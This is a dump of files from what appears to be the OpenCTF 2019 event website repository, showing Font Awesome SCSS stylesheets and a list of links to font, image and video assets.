-------------------------------------------------------------------------------- 1 | @import 'variables'; 2 | @import 'mixins'; 3 | @import 'core'; 4 | @import 'larger'; 5 | @import 'fixed-width'; 6 | @import 'list'; 7 | @import 'bordered-pulled'; 8 | @import 'animated'; 9 | @import 'rotated-flipped'; 10 | @import 'stacked'; 11 | @import 'icons'; 12 | @import 'screen-reader'; 13 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/scss/regular.scss: -------------------------------------------------------------------------------- 1 | @import 'variables'; 2 | 3 | @font-face { 4 | font-family: 'Font Awesome 5 Free'; 5 | font-style: normal; 6 | font-weight: 400; 7 | font-display: $fa-font-display; 8 | src: url('#{$fa-font-path}/fa-regular-400.eot'); 9 | src: url('#{$fa-font-path}/fa-regular-400.eot?#iefix') format('embedded-opentype'), 10 | url('#{$fa-font-path}/fa-regular-400.woff2') format('woff2'), 11 | url('#{$fa-font-path}/fa-regular-400.woff') format('woff'), 12 | url('#{$fa-font-path}/fa-regular-400.ttf') format('truetype'), 13 | url('#{$fa-font-path}/fa-regular-400.svg#fontawesome') format('svg'); 14 | } 15 | 16 | .far { 17 | font-family: 'Font Awesome 5 Free'; 18 | font-weight: 400; 19 | } 20 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/scss/solid.scss: -------------------------------------------------------------------------------- 1 | @import 'variables'; 2 | 3 | @font-face { 4 | font-family: 'Font Awesome 5 Free'; 5 | font-style: normal; 6 | font-weight: 900; 7 | font-display: $fa-font-display; 8 | src: url('#{$fa-font-path}/fa-solid-900.eot'); 9 | src: url('#{$fa-font-path}/fa-solid-900.eot?#iefix') format('embedded-opentype'), 10 | url('#{$fa-font-path}/fa-solid-900.woff2') format('woff2'), 11 | url('#{$fa-font-path}/fa-solid-900.woff') format('woff'), 12 | url('#{$fa-font-path}/fa-solid-900.ttf') format('truetype'), 13 | url('#{$fa-font-path}/fa-solid-900.svg#fontawesome') format('svg'); 14 | } 15 | 16 | .fa, 17 | .fas { 18 | font-family: 'Font Awesome 5 Free'; 19 | font-weight: 900; 20 | } 21 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/scss/v4-shims.scss: -------------------------------------------------------------------------------- 1 | @import 'variables'; 2 | @import 'shims'; 3 | -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/webfonts/fa-brands-400.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/fonts/font-awesome/webfonts/fa-brands-400.eot -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/webfonts/fa-brands-400.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/fonts/font-awesome/webfonts/fa-brands-400.ttf -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/webfonts/fa-brands-400.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/fonts/font-awesome/webfonts/fa-brands-400.woff -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/webfonts/fa-brands-400.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/fonts/font-awesome/webfonts/fa-brands-400.woff2 -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/webfonts/fa-regular-400.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/fonts/font-awesome/webfonts/fa-regular-400.eot -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/webfonts/fa-regular-400.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/fonts/font-awesome/webfonts/fa-regular-400.ttf -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/webfonts/fa-regular-400.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/fonts/font-awesome/webfonts/fa-regular-400.woff -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/webfonts/fa-regular-400.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/fonts/font-awesome/webfonts/fa-regular-400.woff2 -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/webfonts/fa-solid-900.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/fonts/font-awesome/webfonts/fa-solid-900.eot -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/webfonts/fa-solid-900.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/fonts/font-awesome/webfonts/fa-solid-900.ttf -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/webfonts/fa-solid-900.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/fonts/font-awesome/webfonts/fa-solid-900.woff -------------------------------------------------------------------------------- /website-openctf.cat/fonts/font-awesome/webfonts/fa-solid-900.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/fonts/font-awesome/webfonts/fa-solid-900.woff2 -------------------------------------------------------------------------------- /website-openctf.cat/fonts/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/fonts/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /website-openctf.cat/img/1230741679152alo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/img/1230741679152alo.jpg -------------------------------------------------------------------------------- /website-openctf.cat/img/IMG_20140427_182042alo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/img/IMG_20140427_182042alo.png -------------------------------------------------------------------------------- /website-openctf.cat/img/IMG_20150322_003926alo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/img/IMG_20150322_003926alo.png -------------------------------------------------------------------------------- /website-openctf.cat/img/IMG_20180621_164043alo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/img/IMG_20180621_164043alo.png -------------------------------------------------------------------------------- /website-openctf.cat/img/Rick_Astley_Never_Gonna_Give_You_Up.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/img/Rick_Astley_Never_Gonna_Give_You_Up.mp4 -------------------------------------------------------------------------------- /website-openctf.cat/img/about.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/img/about.jpg -------------------------------------------------------------------------------- /website-openctf.cat/img/data-center-install.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/img/data-center-install.jpg -------------------------------------------------------------------------------- /website-openctf.cat/img/defcon-octf-design-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/website-openctf.cat/img/defcon-octf-design-1.png --------------------------------------------------------------------------------